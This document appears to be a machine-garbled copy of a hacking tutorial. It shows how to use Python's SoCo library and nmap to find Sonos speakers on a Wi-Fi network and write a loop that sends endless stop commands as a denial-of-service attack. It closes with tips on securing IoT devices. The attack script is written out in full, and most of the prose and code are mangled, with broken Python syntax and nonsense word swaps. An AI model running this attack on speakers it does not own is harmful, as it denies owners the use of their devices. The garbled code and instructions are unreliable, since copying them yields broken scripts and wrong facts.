Many popular IoT devices have horrible security. For example, a hacker who is on the same Wi-Fi network as Sonos speakers can take direct control of the device's behavior. If an IoT device does not secure the messages used to control it over a network, it is easy for someone to write some Python scripts to do so, whatever they want.
Why IoT devices are not always safe
Internet of things devices are cheap, internet-connected parts of hardware that often string the line between good idea and completely unnecessary. The trend of putting a Wi-Fi card into objects that are only made marginally more useful, if at all by connecting them to the internet, means that many different manufacturers are baking in their own version of security in those devices.
Many of these Wi-Fi compatible products, such as bulbs, thermostats and speakers, have become common products and suck down to reach even the least technically savvy users. Because of how widespread the adoption of IoT units has been, the belief among IoT unit manufacturers is that their gear must be especially easy to use, which means loose security.
The majority of IoT devices use poorly secured APIs which assume that if you are allowed on the same local Wi-Fi network as the device, you must have permission to interact with it. As a result, many IoT devices allow everyone on the local Wi-Fi network to control them with the right commands without ever asking a user for a password or login of any kind.
Some of the most popular types of IoT devices are Sonos-connected speakers, allowing anyone on the local network to control them via a mobile or stationary application. Because of how widespread and easy to control Sonos speakers, they are a perfect example to investigate how we can influence them.
Unlike mobile applications that communicate with remote servers, the Sonos app on your phone or desktop directly runs commands directly to Sonos on your home network. Since these commands can be sent by someone, not just the Sonos app, we can make application calls from a Python program if we know the API that the Sonos device uses.
Fortunately for hackers, the API for many common IoT devices is well known and documented unofficially. Sonos API has also become a library for Python! SoCo and SoCos libraries allow a Python programmer to detect and issue commands to Sonos devices on a local network, either via a command line interface or via a Python script written in an IDE.
To show how it works, we will analyze how Sonos devices can be controlled and build a rejection of service to disable a Sonos system in the network.
Design your own behaviors with Python
Using the SoCo (Sonos Controller) library for Python can begin to look at the type of behavior we want to script in an IoT device. While we could change the song repeatedly into a classic hymn of intense sensual power that " will never give you up," this behavior would directly reject anyone near anybody touching the speaker. Instead, by reviewing the available commands to us, it seems that an attack on denial would be trivially easy to perform.
A seizure attack aims to simply break the way a device usually works to deny other people the ability to use it In a Wi-Fi DoS attack, we would kick everyone from the network repeatedly to prevent anyone from using the internet. In this attack, we will locate some Sonos devices on the network and then send them the "Stop playing" command over and over again, making it impossible to use the Sonos speaker from the normal application.
What to Need Need
To get started, you need a Sonos device on your network that you have access to connect to. While the point in this article is that it is simply connected to the same network that the device allows you to touch it, it can lead you into trouble if the owner does not agree with what you do.
Then you need a Python IDE to write your code. IDE is useful because they allow us to work with our code in an optimized environment and give us a lot of feedback on what happens to our code under the road. I recommend PyCharm, especially if you are a student, as they give students free licenses of their professional product.
Once you have configured PyCharm, make sure your computer has Python installed. The best way to do this is to go to a terminal window, write [python3] and press to return . If you get a command prompt, you have Python3, and you're ready to start. If you do not, you may need to download Python3 before proceeding from the official website.
When you have PyCharm download, open the file and follow the installation steps to set it up. If you have already configured it, just open the PyCharm program. The first time you open PyCharm, you should see a screen like this:
Click on "Create new project", so name the project something memorable if you want. Click on "Create" to open a new project window.
In the new project window, we need to start a new Python file. Right-click the project screen on the left and then select the "New" drop-down menu. From that menu, select "Python File" to create an empty Python file. Name what you remember.
Where we go! We should now have a Python file open and ready to run. In order for your Python to work, you can go ahead and throw a simple script into it. Paste the following into the text editor, right-click in the project area and then click "Run".
I am in the range (20): Print ("It Works!")
It should produce a result like that below.
If you see the script working, you are ready to move on to install the SoCo library.
There are two ways to control a Sonos device on the network. The first thing we should explore is SoCos, which is the command line version of SoCo. To install SoCos, go to a terminal window and type the following.
pip install socos
This should install the command line version of Socos. To use it, continue and run socos in your terminal window. When using socos tools, write help to see what's available.
helpful Available Commands: * list List available units * party mode Put all speakers in the same group, including Party Mode. * info Information about a speaker * Play Start Playing * break break * Stop stop * next Play the next track * Previous Play the previous track * mode Change or display playback mode for a device * current Show current track * queue Show current queue * Delete Remove tracks from queue by index * Volume Change or display the volume of a device * base Change or display the base value of a device * treble Change or display the treble value of a device * state Retrieve the current status of a unit / group * tracks Public convenience method for `_search_and_play` * Album Publicly convenient way for `_search_and_play` * artists Public convenience method for `_search_and_play` * playlists Public convenience method for `_search_and_play` * sonos_playlists Public convenience method for `_search_and_play` * Exit Exit socos * set Set the current speaker for the shell session with IP or speakers * unset Resets the current speaker for the shell session * help Print a list of commands with short description
Above we can see that we have commands available to find devices on the network, play them, stop them and do a variety of other useful things from the command line. If you only check your Sonos from the command line, what interests you then you can stay here and play around with SoCos for a while before moving on.
For our purposes, we continue to install SoCo in PyCharm so that we can start the script behavior, rather than relying on a command prompt.
In PyCharm you see at the bottom of the window to find the "Terminal" icon at the bottom. Click on it and it opens a terminal blast at the bottom of the PyCharm screen, allowing you to install libraries for PyCharm to use.
When this window is open, you can write pip install soco to install the SoCo library to PyCharm. You can write the same command in a system terminal to install the library into your system in total. Pip install soco
Requirements that have already been fulfilled: soco in /Users/maps/venv/lib/python3.6/site-packages
Requirements that have already been met: xmltodict in /Users/maps/venv/lib/python3.6/site-packages (from soco)
Requirements that have already been met: Requests in /Users/send/venv/lib/python3.6/site-packages (from soco)
Requirements that have already been met: idna <2.8,> = 2.5 in /Users/send/venv/lib/python3.6/site-packages (from soco)
Requirements already met: urllib3 <1.24,> = 1.21.1 in /Users/send/venv/lib/python3.6/site-packages (from soco)
Requirements that have already been met: certifi> = 2017.4.17 in /Users/send/venv/lib/python3.6/site-packages (from soco)
Requirements already met: the chard <3.1.0,> = 3.0.2 in /Users/send/venv/lib/python3.6/site-packages (from soco)
You use pipette version 9.0.1, but version 18.1 is available
You should consider upgrading via the "pip install – upgrade pip" command
When PyCharm confirms that SoCo is installed, we can start writing our first Sonos script!
Step 4: Find a device on the network
Now that we have SoCo set up in PyCharm, let's write the first part of our script. To get to know how SoCo can interact with Sonos speakers, we can see the documentation for for the project.
In the documentation we see that there are some commands for detecting Sonos devices in the network. The most useful is to capture all Sonos devices with the function soco.discover () . The function adds the information needed to control the Sonos device into a variable called "devices".
>>> import soco >>> devices = soco.discover () >>> units set (SoCo ("192.168.0.10"), SoCo ("192.168.0.30"), SoCo ("192.168.0.17")) >>> device = devices.pop () >>> device SoCo ("192.168.0.16")
When we can target all Sonos devices in the network, let's try API calls.
I actually get the Sonos device to do something with our Python code. In PyCharm, let's do some Sonos devices we've discovered doing something. With reference to the documentation, there are a number of things we can do.
The usual playback, pause and stop function is provided with similar named methods (play (), pause () and stop ()) in the SoCo instance and Current state is included in the production of get_current_transport_info ():
For our purposes, we use the function stop () . By repeating this function directed at all of the Sonos devices that we discover, we will essentially create an attack on behavior.
Now, to create our Python code, we need to import the SoCo library. Next, we need to discover some Sonos devices in the network and dump them into a variable called "device".
import soco device = soco.discovery.any_soco ()
Next, we need to test to see if we got a result and use a while loop to define what to do. We check to see if the variable "device" contains anything. If it does, we will send the stop command. If it is empty, we say "No device found".
while len (str (unit))! = 0: print ("Denial of Service Attack is ongoing at:", device) device.stop () Other: Print ("No Device Found.")
This simple code should do everything we need, so all we have to do is test it and see if we can connect to and control a Sonos device. Below are the 7 lines that you can easily copy and paste.
import soco device = soco.discovery.any_soco () while len (str (unit))! = 0: print ("Denial of Service Attack is ongoing at:", device) device.stop () Other: Print ("No Device Found.")
Step 7: Find Sonos Devices with Ports Open
To detect a Sonos device outside of SoCos, we can run a Nmap scan with the following ports that are specified to search for networks. Sonos units will have ports 1400, 1420 and 1443 open, to discover them we will search for these.
You must find the IP address range for your network, which you can do by taking your IP address and typing it after the command ipcalc in a terminal window.
ipcalc 172.16.42.61 Address: 172.16.42.61 10101100.00010000.00101010. 00111101 Netmask: 255.255.255.0 = 24 11111111.11111111.11111111. 00000000 Wildcard: 0.0.0.255 00000000.00000000.00000000. 11111111 => Network: 172.16.42.0/24 10101100.00010000.00101010. 00000000 HostMin: 172.16.42.1 10101100.00010000.00101010. 00000001 HostMax: 172.16.42.254 10101100.00010000.00101010. 11111110 Shipping: 172.16.42.255 10101100.00010000.00101010. 11111111 Hosts / Net: 254 Class B, Private Internet
When you know your network area, you can run the following command to search for Sonos devices on the same network.
nmap -p 1400, 1420, 1443 172.16.42.0 / 24
If you see devices that say these ports are open, you should be ready to proceed to the next step. However, there may be many devices with the open ports from different manufacturers, but you can skip the results to only Sonos devices with the command grep . Make sure Sonos is enabled so it will probably appear on the scan.
nmap -p 1400, 1420, 1443 172.16.42.0/24 | grabbed "Sonos" MAC address: 94: 9F: 3E: f $: 04: 3C (Sonos) MAC Address: 94: 9F: 3E: F5: 96: 0A (Sonos)
Back in PyCharm, it's time to try our Python script. Press the green play button in the top menu to run our Python script. If nothing happens, right-click on the project window, select "Run" and then the name of your project. Sometimes PyCharm will try to run the wrong project, so make sure it's right.
If you are looking for the script, you should immediately stop playing music and see an output like the one below that specifies the IP address of the affected Sonos.
Other users cannot regain control of the device from the mobile or desktop applications because the intensity of the stop commands is sent to the device. Before stopping the loop, the unit continues to stop playback, making Sonos useless. This type of attack can be modified to perform all the creative actions you may want, even doing things like switching tracks when a particular device is connected to the network.
It is important to remember that IoT devices are increasingly designed for convenience, not security. This can be frustrating for anyone who wants to keep their devices safe, but there are some ways you can still take unit security in their own hands.
Be careful who you give access to your Wi-Fi network. This gives them access to any device in your network, some of which may not have the best security set. You should also never configure IoT devices on an open network.
Instead, consider configuring a guest network that does not allow devices to connect to each other. Restricting guests to their own subnet on a Wi-Fi network prevents them from communicating with anything else on the network, eliminating the problem of guests on the Wi-Fi interaction with Sonos.
Generally, you should be careful when connecting new devices to a network before fully understanding how they work. Because most IoT devices do not control too hard to see who controls them, they are often a target for malicious code and other types of abuse. You can do your part by making sure to connect IoT devices in a way that does not allow random outs to configure or access them.
I hope you had this guide to control IoT devices with Python API calls! If you have any questions about this tutorial on IoT security or if you have a comment, please ask it below or find out on Twitter @KodyKinzie .